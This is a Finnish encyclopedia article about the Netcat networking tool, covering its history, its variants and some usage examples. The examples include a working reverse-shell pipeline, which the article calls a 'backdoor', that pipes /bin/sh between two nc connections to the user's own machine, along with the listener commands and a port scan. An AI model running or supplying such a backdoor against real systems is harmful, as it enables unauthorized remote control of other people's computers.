Netcat

Netcat (nc) on ohjelmisto TCP- ja UDP-yhteyksien käsittelyyn. Sillä voi sekä muodostaa erilaisia yhteyksiä toisiin tietokoneisiin että avata portteja ja ottaa vastaan yhteyksiä muilta koneilta. Netcat antaa ennen kaikkea mahdollisuuden säätää kaikkia mahdollisia eri parametreja, kuten lähdeporttia tai tiettyjä TCP-optioita, mikä tekee siitä erittäin hyödyllisen kaikenlaisten TCP/IP-järjestelmien testaamiseen. Sillä onkin kätevä testata vaikkapa palomuurin tai pakettisuodattimen toimintaa. 

Netcat on yleiskäyttöisyydestään ja yksinkertaisuudesta huolimatta melko tuore ohjelma.
Hakkeri nimimerkillä _Hobbit_ julkaisi ensimmäisen version vuonna 1995. Alkuperäistä ohjelmaa ei ole ylläpidetty sen suosiosta huolimatta.

Ohjelmasta on lukuisia muiden tekijöiden klooneja, kuten GNU Netcat, OpenBSD:n versio sekä Nmap-projektin Ncat.
Uudemmissa toteutuksissa on mukana IPv6 ja salaustuki, kuten Cryptcat-versiossa.

Mac OS X on sisältänyt netcatin versiosta 10.13 ja Solaris OpenBSD:n netcatin versiosta 11. OpenBSD:n versio on myös mukana FreeBSD:n paketeissa. BusyBox sisältää oman toteutuksensa.

Esimerkkejä 
Komento tulostaa oletustulostusvirtaan netcat:n avulla fi:Wikipedian Etusivun HTML-koodin: 
perl -e 'print "GET http://fi.wikipedia.org/wiki/Etusivu\n\n";' | nc -vv fi.wikipedia.org 80

Niin sanotun back-kanavan tai ts. takaoven teko kohdejärjestelmästä netcat:n avulla omaan koneeseen: 
 nc -vv #oma-IP-osoite #porttinumero1 | /bin/sh | nc -vv #oma-ip-osoite #porttinumero2

Jota ennen täytyy omaan koneeseen luoda netcat:llä kuuntelijat esimerkiksi: 
 nc -l #porttinumero1
 nc -l #porttinumero2

Täten saadaan tyylikkäästi Bourne-shell tai muu haluttu komentotulkki etäkäyttöön.

Voidaan käyttää myös yksinkertaiseen porttiskannaukseen: 
 nc -z fi.wikipedia.org 1-80
 Connection to fi.wikipedia.org 22 port [tcp/ssh] succeeded!
 Connection to fi.wikipedia.org 80 port [tcp/http] succeeded!

Lähteet

Aiheesta muualla 
 GNU Netcat
 FreeBSD netcat man -sivu
 Cryptcat

Verkon analysointiohjelmat
Tietoliikennetekniikka